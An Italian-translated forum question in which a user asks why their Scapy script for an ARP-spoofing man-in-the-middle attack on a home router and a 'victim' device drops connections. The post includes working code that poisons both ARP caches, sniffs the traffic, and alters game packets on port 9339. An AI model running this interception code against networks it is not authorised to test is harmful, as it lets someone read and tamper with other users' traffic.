Cercando di riprodurre l'attacco MiTM

2

In primo luogo, vorrei chiarire 2 punti:

  • Ho esitato tra la pubblicazione qui o lo stackoverflow. Non capisco davvero se sia il mio codice o qualche tipo di sicurezza sul mio router. Quindi, se pensi che questa domanda non debba essere pubblicata lì, sentiti libero di contrassegnarla in
  • Se pensi che sto cercando di violare, hackerare o qualsiasi altra cosa, ti prego di non riferire la mia domanda. Se lo volessi, preferirei usare uno di quei numerosi souftware -clickbait -.

Per raggiungere questo obiettivo, sto utilizzando la famosa libreria Scapy per la creazione di pacchetti.

In primo luogo, sto recuperando l'indirizzo mac di router e vittima. Quindi, realizzo 2 pacchetti ARP is-at , uno per il router e uno per la vittima, per impostare il mio computer al centro di essi.

def main():
    print("\nIP address of your router/box :")
    ipserveur = raw_input()
    print("\nIP address of your device playing CC :")
    ipvictime = raw_input()
    print("\nResolving mac address of your router/box...")
    arp = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ipserveur)
    rep, nonrep = srp(arp, timeout=3, verbose=0)
    if(rep):
        macserveur = rep[0][1].hwsrc
        print("Router mac address is "+macserveur)
    else: print("Unable to resolve mac address of your router")
    arp.pdst = ipvictime
    print("Resolving mac address of your device...")
    arp = Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ipvictime)
    rep, nonrep = srp(arp, timeout=3, verbose=0)
    if(rep):
        macvictime = rep[0][1].hwsrc
        print("Device mac address is "+macvictime)
    else: print("Unable to resolve mac address of your device")
    if('macserveur' in locals() and 'macvictime' in locals()):
        print("\nCompromising serveur arp cache")
        arpserveur = Ether(dst=macserveur)/ARP(op="is-at",psrc=ipvictime,hwdst=macserveur,pdst=ipserveur)
        arpvictime = Ether(dst=macvictime)/ARP(op="is-at",psrc=ipserveur,hwdst=macvictime,pdst=ipvictime)
        arpserveur.show()
        arpvictime.show()
        sendp(arpserveur, verbose=0)
        sendp(arpvictime, verbose=0)
        print("Serveur cache compromised")
        while True:
            pkt = sniff(count=1)
            pkt.show()
            filtrer(pkt, arpserveur, arpvictime)   

    else:
        print("Fatal error, stopping...")

Una volta ottenuto questo, sto sniffando il pacchetto. Se annuso un pacchetto ARP, sto ricompromeggendo la cache ARP sia del server che della vittima. Se annuso un pacchetto che corrisponde al mio filtro, lo modifico e lo rimando al destinatario. In altri casi, lo rimando al destinatario.

Questo dovrebbe imitare lo strumento ip_forwarding che non è attivo sul mio computer Debian appart che posso modificare il pacchetto tra server e vittima.

def filtrer(pkt, arpserveur, arpvictime):
    if(ARP in pkt[0]): 
        #if arp packet on the network, then compromise arp cache again
        print("Recomprimising arp cache again")
        sendp(arpserveur, verbose=0)
        sendp(arpvictime, verbose=0)   
    elif(TCP in pkt[0] and (pkt[0].dport==9339 or pkt[0].sport==9339)):
        #if port = 9339, detected connection to the game
        editCC(pkt)
        #forward the edited packet
        sendp(pkt, verbose=0)
    else:
        #forward the packet
        print("Forwarding packet ")
        sendp(pkt, verbose=0)

Quindi sì, in fondo, quali sono i problemi? Ho molti bug strani.

  1. Quando lancio l'attacco, a volte funziona per qualche secondo, ma il pacchetto non sembra essere correttamente inoltrato perché la vittima non ha più Internet. Significa che la richiesta non raggiunge mai il router o che la risposta non raggiunge mai la vittima.
  2. A volte, anche la cache ARP dell'utente malintenzionato sembra essere compromessa. O almeno bugged. Devo fare sudo arp per reuptade la cache arp perché non posso inviare richiesta a nessun dispositivo / router sulla mia rete. Come se fossi stato bannato.

Ho un router totalmente normale mentre lo sto vivendo a casa. Quindi non è una rete sicura quindi, in sostanza, non dovrebbe essere sicuro in alcun modo. Sentiti libero di chiedere la precisione necessaria per chiarire la situazione!

    
posta Xavier59 26.09.2016 - 19:18
fonte

0 risposte

Leggi altre domande sui tag